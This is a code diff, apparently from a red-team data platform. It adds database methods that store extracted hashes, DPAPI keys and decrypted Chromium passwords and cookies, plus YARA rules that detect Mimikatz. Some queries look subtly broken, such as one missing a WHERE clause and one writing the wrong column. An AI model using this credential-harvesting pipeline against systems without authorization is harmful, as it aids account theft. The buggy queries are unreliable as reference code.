+ "INSERT INTO nemesis.extracted_hashes (agent_id, project_id, source, timestamp, expiration, originating_object_id, hash_type, hash_value, jtr_formatted_value, is_cracked, checked_against_top_passwords, plaintext_value) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12) ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ auth_data.agent_id,
+ auth_data.project_id,
+ auth_data.source,
+ auth_data.timestamp,
+ auth_data.expiration,
+ auth_data.originating_object_id,
+ auth_data.hash_type,
+ auth_data.hash_value,
+ auth_data.jtr_formatted_value,
+ auth_data.is_cracked,
+ auth_data.checked_against_top_passwords,
+ auth_data.plaintext_value,
+ )
+
+ async def add_dpapi_blob(self, dpapi_blob: DpapiBlob) -> None:
+ """Adds a new `nemesis.dpapi_blobs` entry from a DpapiBlob class object."""
+
+ query = (
+ "INSERT INTO nemesis.dpapi_blobs ("
+ " agent_id, project_id, source, timestamp, expiration, dpapi_blob_id, originating_object_id, originating_registry_id, masterkey_guid, is_file, is_decrypted, enc_data_bytes, enc_data_object_id, dec_data_bytes, dec_data_object_id) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15) ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ dpapi_blob.agent_id,
+ dpapi_blob.project_id,
+ dpapi_blob.source,
+ dpapi_blob.timestamp,
+ dpapi_blob.expiration,
+ dpapi_blob.dpapi_blob_id,
+ dpapi_blob.originating_object_id,
+ dpapi_blob.originating_registry_id,
+ dpapi_blob.masterkey_guid,
+ dpapi_blob.is_file,
+ dpapi_blob.is_decrypted,
+ dpapi_blob.enc_data_bytes,
+ dpapi_blob.enc_data_object_id,
+ dpapi_blob.dec_data_bytes,
+ dpapi_blob.dec_data_object_id,
+ )
+
+ async def add_dpapi_masterkey(self, obj: DpapiMasterkey) -> None:
+ """Adds a new `nemesis.dpapi_masterkeys` entry from a DpapiMasterkey class object."""
+
+ query = (
+ "INSERT INTO nemesis.dpapi_masterkeys ( "
+ " agent_id, project_id, source, timestamp, expiration, object_id, type, username, user_sid, masterkey_guid, is_decrypted, "
+ " masterkey_bytes, domain_backupkey_guid, domainkey_pb_secret, decrypted_key_full, decrypted_key_sha1) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16) ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ obj.agent_id,
+ obj.project_id,
+ obj.source,
+ obj.timestamp,
+ obj.expiration,
+ obj.object_id,
+ obj.type,
+ obj.username,
+ obj.user_sid,
+ obj.masterkey_guid,
+ obj.is_decrypted,
+ obj.masterkey_bytes,
+ obj.domain_backupkey_guid,
+ obj.domainkey_pb_secret,
+ obj.decrypted_key_full,
+ obj.decrypted_key_sha1,
+ )
+
+ async def add_dpapi_domain_backupkey(self, obj: DpapiDomainBackupkey) -> None:
+ """Adds a new `nemesis.dpapi_domain_backupkeys` entry from a DpapiDomainBackupkey class object."""
+
+ query = (
+ "INSERT INTO nemesis.dpapi_domain_backupkeys (project_id, agent_id, source, timestamp, expiration, domain_backupkey_guid, domain_controller, domain_backupkey_bytes) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8) ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ obj.project_id,
+ obj.agent_id,
+ obj.source,
+ obj.timestamp,
+ obj.expiration,
+ obj.domain_backupkey_guid,
+ obj.domain_controller,
+ obj.domain_backupkey_bytes,
+ )
+
+ async def add_registry_object(self, registry_object: RegistryObject) -> str:
+ """Adds a new `nemesis.registry_objects` entry from a RegistryObject class object."""
+
+ query = (
+ "INSERT INTO nemesis.registry_objects (agent_id, project_id, source, timestamp, expiration, key, value_name, sddl, value_kind, value, tags) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11) "
+ "ON CONFLICT (project_id, source, key, value_name) DO NOTHING "
+ "RETURNING unique_db_id"
+ )
+
+ async with self.pool.acquire() as conn:
+ result = await conn.fetchval(
+ query,
+ registry_object.agent_id,
+ registry_object.project_id,
+ registry_object.source,
+ registry_object.timestamp,
+ registry_object.expiration,
+ registry_object.key,
+ registry_object.value_name,
+ registry_object.sddl,
+ registry_object.value_kind,
+ registry_object.value,
+ registry_object.tags,
+ )
+ if result:
+ return f"{result}"
+ else:
+ return ""
+
+ async def add_service(self, metadata: pb.Metadata, service_name: str) -> None:
+ """Adds a service to the database
+
+ Args:
+ metadata (pb.Metadata): Metadata for the service object
+ service_name (str): Name of the service
+ """
+
+ agent_id = metadata.agent_id
+ project_id = metadata.project
+ source = metadata.source
+ timestamp = metadata.timestamp.ToDatetime()
+ expiration = metadata.expiration.ToDatetime()
+
+ query = (
+ "INSERT INTO nemesis.services (agent_id, project_id, source, timestamp, expiration, name) "
+ "VALUES ($1, $2, $3, $4, $5, $6) "
+ "ON CONFLICT (project_id, source, name) "
+ "DO UPDATE SET name = $6"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(query, agent_id, project_id, source, timestamp, expiration, service_name)
+
+ async def add_service_property(
+ self,
+ metadata: pb.Metadata,
+ service_name: str,
+ value_name: ServiceColumn,
+ value: Union[int, str],
+ ) -> None:
+ """Sets a specific property for a service in the database.
+
+ Args:
+ metadata (pb.Metadata): Metadata for the service object
+ service_name (str): Name of the service
+ value_name (ServiceColumn): Name of the property to set. The should NEVER be a user-supplied value.
+ value (_type_): Value of the property to set
+ """
+
+ agent_id = metadata.agent_id
+ project_id = metadata.project
+ source = metadata.source
+ timestamp = metadata.timestamp.ToDatetime()
+ expiration = metadata.expiration.ToDatetime()
+
+ if value_name in [ServiceColumn.START_TYPE, ServiceColumn.SERVICE_TYPE]:
+ value_expression = "$7::SMALLINT"
+ else:
+ value_expression = "$7"
+
+ query = (
+ f"INSERT INTO nemesis.services (agent_id, project_id, source, timestamp, expiration, name, {value_name.value}) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7) "
+ f"ON CONFLICT (project_id, source, name) "
+ f"DO UPDATE SET {value_name.value} = {value_expression}"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ agent_id,
+ project_id,
+ source,
+ timestamp,
+ expiration,
+ service_name,
+ value,
+ )
+
+ async def add_host_info(self, os_info: HostInfo) -> None:
+ """Adds host information to the database, updating only if the existing value is null."""
+
+ # TODO: should the description COALESCE be the excluded value first?
+ query = (
+ "INSERT INTO nemesis.hosts as t(agent_ids, project_id, source, timestamp, expiration, hostname, description, os_type, windows_major_version, windows_build, windows_release, windows_domain) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12) "
+ "ON CONFLICT (hostname) "
+ "DO UPDATE SET "
+ " description = COALESCE(excluded.description, t.description),"
+ " os_type = COALESCE(t.os_type, excluded.os_type),"
+ " windows_major_version = COALESCE(t.windows_major_version,excluded.windows_major_version),"
+ " windows_build = COALESCE(t.windows_build, excluded.windows_build),"
+ " windows_release = COALESCE(t.windows_release, excluded.windows_release), "
+ " windows_domain = COALESCE(t.windows_domain, excluded.windows_domain)"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ [os_info.agent_id],
+ os_info.project_id,
+ os_info.source,
+ os_info.timestamp,
+ os_info.expiration,
+ os_info.hostname,
+ os_info.description,
+ os_info.os_type,
+ os_info.windows_major_version,
+ os_info.windows_build,
+ os_info.windows_release,
+ os_info.windows_domain,
+ )
+
+ async def add_slack_workspace(self, slack_workspace: SlackWorkspace) -> None:
+ """Adds a new `nemesis.slack_workspace` entry from a SlackWorkspace class object."""
+
+ query = (
+ "INSERT INTO nemesis.slack_workspaces as t(agent_id, project_id, source, timestamp, expiration, username, workspace_id, workspace_domain, workspace_name, workspace_icon_url) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10) "
+ " ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ slack_workspace.agent_id,
+ slack_workspace.project_id,
+ slack_workspace.source,
+ slack_workspace.timestamp,
+ slack_workspace.expiration,
+ slack_workspace.username,
+ slack_workspace.workspace_id,
+ slack_workspace.workspace_domain,
+ slack_workspace.workspace_name,
+ slack_workspace.workspace_icon_url,
+ )
+
+ async def add_slack_download(self, slack_download: SlackDownload) -> None:
+ """Adds a new `nemesis.slack_download` entry from a SlackDownload class object."""
+
+ query = (
+ "INSERT INTO nemesis.slack_downloads as t(agent_id, project_id, source, timestamp, expiration, username, workspace_id, download_id, team_id, user_id, url, download_path, download_state, start_time, end_time) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15) "
+ " ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ slack_download.agent_id,
+ slack_download.project_id,
+ slack_download.source,
+ slack_download.timestamp,
+ slack_download.expiration,
+ slack_download.username,
+ slack_download.workspace_id,
+ slack_download.download_id,
+ slack_download.team_id,
+ slack_download.user_id,
+ slack_download.url,
+ slack_download.download_path,
+ slack_download.download_state,
+ slack_download.start_time,
+ slack_download.end_time,
+ )
+
+ async def add_named_pipe(self, named_pipe: NamedPipe) -> None:
+ """Adds a new `nemesis.named_pipes` entry from a NamedPipe class object."""
+
+ query = (
+ "INSERT INTO nemesis.named_pipes as t(agent_id, project_id, source, timestamp, expiration, name, server_process_name, server_process_id, server_process_path, sddl) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10) "
+ " ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ named_pipe.agent_id,
+ named_pipe.project_id,
+ named_pipe.source,
+ named_pipe.timestamp,
+ named_pipe.expiration,
+ named_pipe.name,
+ named_pipe.server_process_name,
+ named_pipe.server_process_id,
+ named_pipe.server_process_path,
+ named_pipe.sddl,
+ )
+
+ async def add_network_connection(self, network_connection: NetworkConnection) -> None:
+ """Adds a new `nemesis.network_connections` entry from a NetworkConnection class object."""
+
+ query = (
+ "INSERT INTO nemesis.network_connections as t(agent_id, project_id, source, timestamp, expiration, local_address, remote_address, protocol, state, process_id, process_name, service) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12) "
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ network_connection.agent_id,
+ network_connection.project_id,
+ network_connection.source,
+ network_connection.timestamp,
+ network_connection.expiration,
+ network_connection.local_address,
+ network_connection.remote_address,
+ network_connection.protocol,
+ network_connection.state,
+ network_connection.process_id,
+ network_connection.process_name,
+ network_connection.service,
+ )
+
+ async def add_filesystem_object(self, file_info: FileInfo) -> None:
+ """Adds a new `nemesis.filesystem_objects` entry from a FileInfo class object."""
+
+ # NOTE: size, access_time, creation_time, modification_time, and SDDL are the first in
+ # COALESCE to ensure we update the accurate most recent value
+ query = (
+ "INSERT INTO nemesis.filesystem_objects as t(agent_id, project_id, source, timestamp, expiration, path, name, extension, type, size, access_time, creation_time, modification_time, owner, sddl) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15) "
+ "ON CONFLICT (project_id, source, path) "
+ "DO UPDATE SET "
+ " name = COALESCE(t.name, excluded.name),"
+ " extension = COALESCE(t.extension, excluded.extension),"
+ " type = COALESCE(t.type, excluded.type),"
+ " size = COALESCE(excluded.size, t.size),"
+ " access_time = COALESCE(excluded.access_time, t.access_time),"
+ " creation_time = COALESCE(excluded.creation_time, t.creation_time),"
+ " modification_time = COALESCE(excluded.modification_time, t.modification_time),"
+ " sddl = COALESCE(excluded.sddl, t.sddl)"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ file_info.agent_id,
+ file_info.project_id,
+ file_info.source,
+ file_info.timestamp,
+ file_info.expiration,
+ file_info.path,
+ file_info.name,
+ file_info.extension,
+ file_info.type,
+ file_info.size,
+ file_info.access_time,
+ file_info.creation_time,
+ file_info.modification_time,
+ file_info.owner,
+ file_info.sddl,
+ )
+
+ async def add_filesystem_object_from_enriched(self, file_data_enriched: FileInfoDataEnriched) -> None:
+ """Adds a new `nemesis.filesystem_objects` entry from a FileInfoDataEnriched class object."""
+
+ # NOTE: size, magic_type, nemesis_file_id are the first in
+ # COALESCE to ensure we update the accurate most recent value
+ query = (
+ "INSERT INTO nemesis.filesystem_objects as t(agent_id, project_id, source, timestamp, expiration, path, name, extension, type, size, magic_type, nemesis_file_id) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12) "
+ "ON CONFLICT (project_id, source, path) "
+ "DO UPDATE SET "
+ " name = COALESCE(t.name, excluded.name),"
+ " extension = COALESCE(t.extension, excluded.extension),"
+ " size = COALESCE(excluded.size, t.size),"
+ " magic_type = COALESCE(excluded.magic_type, t.magic_type),"
+ " nemesis_file_id = COALESCE(excluded.nemesis_file_id, t.nemesis_file_id)"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ file_data_enriched.agent_id,
+ file_data_enriched.project_id,
+ file_data_enriched.source,
+ file_data_enriched.timestamp,
+ file_data_enriched.expiration,
+ file_data_enriched.path,
+ file_data_enriched.name,
+ file_data_enriched.extension,
+ "file",
+ file_data_enriched.size,
+ file_data_enriched.magic_type,
+ file_data_enriched.nemesis_file_id,
+ )
+
+ async def add_file_data_enriched(self, file_data_enriched: FileDataEnriched) -> None:
+ """Adds a new `nemesis.file_data_enriched` entry from a FileDataEnriched class object."""
+
+ query = (
+ "INSERT INTO nemesis.file_data_enriched as t(agent_id, project_id, source, timestamp, expiration, object_id, originating_object_id, path, name, size, md5, sha1, sha256, nemesis_file_type, magic_type, converted_pdf_id, extracted_plaintext_id, extracted_source_id, tags) "
+ "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19) "
+ " ON CONFLICT DO NOTHING"
+ )
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(
+ query,
+ file_data_enriched.agent_id,
+ file_data_enriched.project_id,
+ file_data_enriched.source,
+ file_data_enriched.timestamp,
+ file_data_enriched.expiration,
+ file_data_enriched.object_id,
+ file_data_enriched.originating_object_id,
+ file_data_enriched.path,
+ file_data_enriched.name,
+ file_data_enriched.size,
+ file_data_enriched.md5,
+ file_data_enriched.sha1,
+ file_data_enriched.sha256,
+ file_data_enriched.nemesis_file_type,
+ file_data_enriched.magic_type,
+ file_data_enriched.converted_pdf_id,
+ file_data_enriched.extracted_plaintext_id,
+ file_data_enriched.extracted_source_id,
+ file_data_enriched.tags,
+ )
+
+ async def get_plaintext_passwords(self, username: str = "%"):
+ """
+ Returns entries from `authentication_data` where type=password, optionally
+ filtered by username.
+ """
+
+ async with self.pool.acquire() as conn:
+ results = await conn.fetch(
+ "SELECT data from nemesis.authentication_data WHERE type = 'password' AND username ILIKE $1",
+ username,
+ )
+ return [result[0] for result in results]
+
+ async def get_ntlm_hashes(self, username: str = "%"):
+ """
+ Returns entries from `authentication_data` where type=ntlm_hash, optionally
+ filtered by username.
+ """
+
+ async with self.pool.acquire() as conn:
+ results = await conn.fetch(
+ "SELECT data from nemesis.authentication_data WHERE type = 'ntlm_hash' AND username ILIKE $1",
+ username,
+ )
+ return [result[0] for result in results]
+
+ async def get_cracked_passwords(self, username: str = "%"):
+ """Returns entries from `extracted_hashes` where is_cracked=True."""
+
+ async with self.pool.acquire() as conn:
+ results = await conn.fetch(
+ "SELECT plaintext_value from nemesis.authentication_data is_cracked = True AND username ILIKE $1",
+ username,
+ )
+ return [result[0] for result in results]
+
+ async def get_encrypted_dpapi_masterkeys(self, username: str = "%", machine: bool = False):
+ """Gets encrypted DPAPI masterkeys linked to a specific domain backupkey guid.
+
+ machine -> only return machine masterkeys
+
+ TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors
+ """
+
+ if machine:
+ query = (
+ "SELECT username, user_sid, masterkey_guid, masterkey_bytes FROM nemesis.dpapi_masterkeys WHERE username = $1 AND is_decrypted = False AND type = 'machine'",
+ )
+ else:
+ query = "SELECT username, user_sid, masterkey_guid, masterkey_bytes FROM nemesis.dpapi_masterkeys WHERE username = $1 AND is_decrypted = False AND type != 'machine'"
+
+ async with self.pool.acquire() as conn:
+ return await conn.fetch(
+ query,
+ username,
+ )
+
+ async def get_encrypted_dpapi_masterkeys_from_backup_guid(self, domain_backupkey_guid: str) -> List[Tuple[uuid.UUID, bytes]]:
+ """Gets encrypted DPAPI masterkeys linked to a specific domain backupkey guid.
+
+ TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors
+ """
+
+ async with self.pool.acquire() as conn:
+ return await conn.fetch(
+ "SELECT masterkey_guid, domainkey_pb_secret FROM nemesis.dpapi_masterkeys WHERE domain_backupkey_guid = $1 AND is_decrypted = False",
+ domain_backupkey_guid,
+ )
+
+ async def get_encrypted_dpapi_masterkeys_from_username(self, username: str) -> List[Tuple[uuid.UUID, str, bytes]]:
+ """Gets encrypted DPAPI masterkeys linked to a specific username.
+
+ TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors
+ """
+
+ async with self.pool.acquire() as conn:
+ return await conn.fetch(
+ "SELECT masterkey_guid, user_sid, masterkey_bytes FROM nemesis.dpapi_masterkeys WHERE username ILIKE $1 AND is_decrypted = False",
+ username,
+ )
+
+ async def get_encrypted_dpapi_blobs(self, masterkey_guid: str) -> List[Tuple[uuid.UUID, bool, bytes, uuid.UUID]]:
+ """Gets encrypted DPAPI blobs linked to a specific masterkey guid.
+
+ TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors
+ """
+
+ async with self.pool.acquire() as conn:
+ return await conn.fetch(
+ "SELECT dpapi_blob_id, is_file, enc_data_bytes, enc_data_object_id FROM nemesis.dpapi_blobs WHERE masterkey_guid = $1 AND is_decrypted = False",
+ masterkey_guid,
+ )
+
+ async def get_decrypted_dpapi_masterkey(self, masterkey_guid: str):
+ """Returns (decrypted_key_sha1, decrypted_key_full) for a decrypted DPAPI masterkey or None for no results."""
+
+ async with self.pool.acquire() as conn:
+ row = await conn.fetchrow(
+ "SELECT decrypted_key_sha1, decrypted_key_full FROM nemesis.dpapi_masterkeys WHERE masterkey_guid = $1 AND is_decrypted = True",
+ masterkey_guid,
+ )
+ return (row[0], row[1]) if row else None
+
+ async def get_dpapi_domain_backupkey(self, domain_backupkey_guid: str) -> Optional[bytes]:
+ """Returns the raw bytes of a domain DPAPI backup key for a given GUID if it exists."""
+
+ async with self.pool.acquire() as conn:
+ row = await conn.fetchrow(
+ "SELECT domain_backupkey_bytes FROM nemesis.dpapi_domain_backupkeys WHERE domain_backupkey_guid = $1",
+ domain_backupkey_guid,
+ )
+ return row[0] if row else None
+
+ async def update_decrypted_dpapi_masterkey(self, masterkey_guid: str, decrypted_key_sha1: bytes, decrypted_key_full: bytes) -> None:
+ """Updates the (decrypted_key_sha1, decrypted_key_full) values for a DPAPI masterkey."""
+
+ query = "UPDATE nemesis.dpapi_masterkeys SET decrypted_key_sha1 = $1, decrypted_key_full = $2, is_decrypted = True WHERE masterkey_guid = $3"
+
+ async with self.pool.acquire() as conn:
+ await conn.execute(query, decrypted_key_sha1, decrypted_key_full, masterkey_guid)
+
+ async def update_decrypted_dpapi_blob(
+ self,
+ dpapi_blob_id: uuid.UUID,
+ dec_data_bytes: Optional[bytes],
+ dec_data_object_id: Optional[UUID],
+ ) -> None:
+ """Updates the (decrypted_key_sha1, decrypted_key_full) values for a DPAPI masterkey.
+
+ If the decrypted data is over 1024 bytes, a dec_data_object_id should be passed instead.
+ """
+
+ if dec_data_bytes:
+ query = "UPDATE nemesis.dpapi_blobs SET dec_data_bytes = $1, is_decrypted = True WHERE dpapi_blob_id = $2"
+ async with self.pool.acquire() as conn:
+ await conn.execute(query, dec_data_bytes, dpapi_blob_id)
+ elif dec_data_object_id:
+ query = "UPDATE nemesis.dpapi_blobs SET dec_data_object_id = $1, is_decrypted = True WHERE dpapi_blob_id = $2"
+ async with self.pool.acquire() as conn:
+ await conn.execute(query, dec_data_object_id, dpapi_blob_id)
+
+ async def get_decrypted_chromium_state_key(self, source: str, user_data_directory: str):
+ """Returns the bytes of a decrypted state key file or None for no results."""
+
+ async with self.pool.acquire() as conn:
+ row = await conn.fetchrow(
+ "SELECT key_bytes_dec FROM nemesis.chromium_state_files WHERE source = $1 AND user_data_directory = $2 AND is_decrypted = True",
+ source,
+ user_data_directory,
+ )
+ return (row[0]) if row else None
+
+ async def get_encrypted_chromium_state_key(self, masterkey_guid: str) -> List[Tuple[str, str, uuid.UUID, bytes, bytes]]:
+ """Gets encrypted Chromium state key entries linked to a specific masterkey guid.
+
+ TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors
+ """
+
+ async with self.pool.acquire() as conn:
+ return await conn.fetch(
+ "SELECT source, user_data_directory, unique_db_id, key_bytes_enc, app_bound_fixed_data_enc FROM nemesis.chromium_state_files WHERE masterkey_guid = $1 AND is_decrypted = False",
+ masterkey_guid,
+ )
+
+ async def update_decrypted_chromium_state_key(
+ self, unique_db_id: UUID4, key_bytes_dec: bytes, app_bound_fixed_data_dec: bytes | None
+ ) -> None:
+ """Updates the decrypted state key values for a Chromium Local State file."""
+
+ query = "UPDATE nemesis.chromium_state_files SET key_bytes_dec = $1, is_decrypted = True WHERE unique_db_id = $2"
+ async with self.pool.acquire() as conn:
+ await conn.execute(query, key_bytes_dec, unique_db_id)
+
+ if app_bound_fixed_data_dec and app_bound_fixed_data_dec is not None:
+ query = "UPDATE nemesis.chromium_state_files SET app_bound_fixed_data_dec = $1 WHERE unique_db_id = $2"
+ async with self.pool.acquire() as conn:
+ await conn.execute(query, key_bytes_dec, unique_db_id)
+
+ async def get_dpapi_encrypted_chromium_logins(self, masterkey_guid: str) -> List[Tuple[uuid.UUID, bytes]]:
+ """Gets DPAPI encrypted Chromium Logins entries linked to a specific masterkey guid.
+
+ TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors
+ """
+
+ async with self.pool.acquire() as conn:
+ return await conn.fetch(
+ "SELECT unique_db_id,password_value_enc FROM nemesis.chromium_logins WHERE masterkey_guid = $1 AND is_decrypted = False",
+ masterkey_guid,
+ )
+
+ async def get_aes_encrypted_chromium_logins(self, source: str, user_data_directory: str) -> List[Tuple[uuid.UUID, bytes]]:
+ """Gets AES encrypted Chromium Logins entries linked to a specific source/data directory.
+
+ TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors
+ """
+
+ async with self.pool.acquire() as conn:
+ return await conn.fetch(
+ "SELECT unique_db_id,password_value_enc FROM nemesis.chromium_logins WHERE encryption_type = 'aes' and source = $1 AND user_data_directory = $2 AND is_decrypted = False",
+ source,
+ user_data_directory,
+ )
+
+ async def update_decrypted_chromium_login(self, unique_db_id: UUID4, password_value_dec: str) -> None:
+ """Updates a decrypted password value for a Chromium Logins file."""
+
+ query = "UPDATE nemesis.chromium_logins SET password_value_dec = $1, is_decrypted = True WHERE unique_db_id = $2"
+ async with self.pool.acquire() as conn:
+ await conn.execute(query, password_value_dec, unique_db_id)
+
+ async def get_dpapi_encrypted_chromium_cookies(self, masterkey_guid: str) -> List[Tuple[uuid.UUID, bytes]]:
+ """Gets DPAPI encrypted Chromium Cookies entries linked to a specific masterkey guid.
+
+ TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors
+ """
+
+ async with self.pool.acquire() as conn:
+ return await conn.fetch(
+ "SELECT unique_db_id,value_enc FROM nemesis.chromium_cookies WHERE masterkey_guid = $1 AND is_decrypted = False",
+ masterkey_guid,
+ )
+
+ async def get_aes_encrypted_chromium_cookies(self, source: str, user_data_directory: str) -> List[Tuple[uuid.UUID, bytes]]:
+ """Gets AES encrypted Chromium Cookies entries linked to a specific source/data directory.
+
+ TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors
+ """
+
+ async with self.pool.acquire() as conn:
+ return await conn.fetch(
+ "SELECT unique_db_id,value_enc FROM nemesis.chromium_cookies WHERE encryption_type = 'aes' AND source = $1 AND user_data_directory = $2 AND is_decrypted = False",
+ source,
+ user_data_directory,
+ )
+
+ async def update_decrypted_chromium_cookie(self, unique_db_id: UUID4, value_dec: str) -> None:
+ """Updates a decrypted password value for a Chromium Cookies file."""
+
+ query = "UPDATE nemesis.chromium_cookies SET value_dec = $1, is_decrypted = True WHERE unique_db_id = $2"
+ async with self.pool.acquire() as conn:
+ await conn.execute(query, value_dec, unique_db_id)
+
+ # async def sanitize_identifier(self, identifier: str) -> str:
+ # """Sanitizes a postgres column names to make it safe for use in dynamic queries
+
+ # Args:
+ # identifier (str): The identifier to sanitize (e.g., a user-supplied column name)
+
+ # Returns:
+ # str: The sanitized identifier.
+ # """
+
+ # async with self.pool.acquire() as conn:
+ # sanitized = await conn.fetchval("SELECT quote_ident($1)", identifier)
+ # return sanitized
diff --git a/cmd/enrichment/enrichment/lib/public_yara/elastic-agent-rules.yara b/cmd/enrichment/enrichment/lib/public_yara/elastic-agent-rules.yara
new file mode 100644
index 0000000..5125c31
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/public_yara/elastic-agent-rules.yara
@@ -0,0 +1,4783 @@
+// From https://github.com/elastic/protections-artifacts/tree/main/yara
+// Elastic License v2
+rule Windows_EICAR_c6193e90 {
+ meta:
+ id = "c6193e90-edf5-41c5-a78f-9bdbd90f7450"
+ fingerprint = "d94318a71723fc4f2e9f97f5dd5a0f1efc34a32f3c9eac8fa0b2da61c1d14f5d"
+ creation_date = "2021-03-19"
+ last_modified = "2021-07-16"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Not-a-virus"
+ family = "Not-a-virus"
+ threat_name = "Windows.EICAR.Not-a-virus"
+ source = "Manual"
+ maturity = "Diagnostic, Production"
+ reference_sample = "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
+
+condition:
+ all of them
+}
+
+rule Windows_Hacktool_Mimikatz_1388212a {
+ meta:
+ id = "1388212a-2146-4565-b93d-4555a110364f"
+ fingerprint = "dbbdc492c07e3b95d677044751ee4365ec39244e300db9047ac224029dfe6ab7"
+ creation_date = "2021-04-13"
+ last_modified = "2021-04-14"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Hacktool"
+ family = "Mimikatz"
+ threat_name = "Windows.Hacktool.Mimikatz"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "66b4a0681cae02c302a9b6f1d611ac2df8c519d6024abdb506b4b166b93f636a"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Password: %s" wide fullword
+ // $a2 = "\n * Session Key\n : 0x%08x - %s" wide fullword
+ $a3 = "Injecting ticket : " wide fullword
+ $a4 = "/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )" wide fullword
+ $a5 = "Remove mimikatz driver (mimidrv)" wide fullword
+ $a6 = "mimikatz(commandline) # %s" wide fullword
+ $a7 = "Password: %s" wide fullword
+ $a8 = " - SCardControl(FEATURE_CCID_ESC_COMMAND)" wide fullword
+ $a9 = " * to 0 will take all 'cmd' and 'mimikatz' process" wide fullword
+ $a10 = "** Pass The Ticket **" wide fullword
+ $a11 = "-> Ticket : %s" wide fullword
+ $a12 = "Busylight Lync model (with bootloader)" wide fullword
+ $a13 = "mimikatz.log" wide fullword
+ $a14 = "Log mimikatz input/output to file" wide fullword
+ $a15 = "ERROR kuhl_m_dpapi_masterkey ; kull_m_dpapi_unprotect_domainkey_with_key" wide fullword
+ $a16 = "ERROR kuhl_m_lsadump_dcshadow ; unable to start the server: %08x" wide fullword
+ $a17 = "ERROR kuhl_m_sekurlsa_pth ; GetTokenInformation (0x%08x)" wide fullword
+ $a18 = "ERROR mimikatz_doLocal ; \"%s\" module not found !" wide fullword
+ $a19 = "Install and/or start mimikatz driver (mimidrv)" wide fullword
+ $a20 = "Target: %hhu (0x%02x - %s)" wide fullword
+ $a21 = "mimikatz Ho, hey! I'm a DC :)" wide fullword
+ $a22 = "mimikatz service (mimikatzsvc)" wide fullword
+ $a23 = "[masterkey] with DPAPI_SYSTEM (machine, then user): " wide fullword
+ $a24 = "$http://blog.gentilkiwi.com/mimikatz 0" ascii fullword
+ $a25 = " * Username : %wZ" wide fullword
+condition:
+ 3 of ($a*)
+}
+
+rule Windows_Hacktool_Mimikatz_674fd079 {
+ meta:
+ id = "674fd079-f7fe-4d89-87e7-ac11aa21c9ed"
+ fingerprint = "b8f71996180e5f03c10e39eb36b2084ecaff78d7af34bd3d0d75225d2cfad765"
+ creation_date = "2021-04-14"
+ last_modified = "2021-04-14"
+ description = "Detection for default mimikatz memssp module"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Hacktool"
+ family = "Mimikatz"
+ threat_name = "Windows.Hacktool.Mimikatz"
+ source = "Manual"
+ maturity = "Diagnostic"
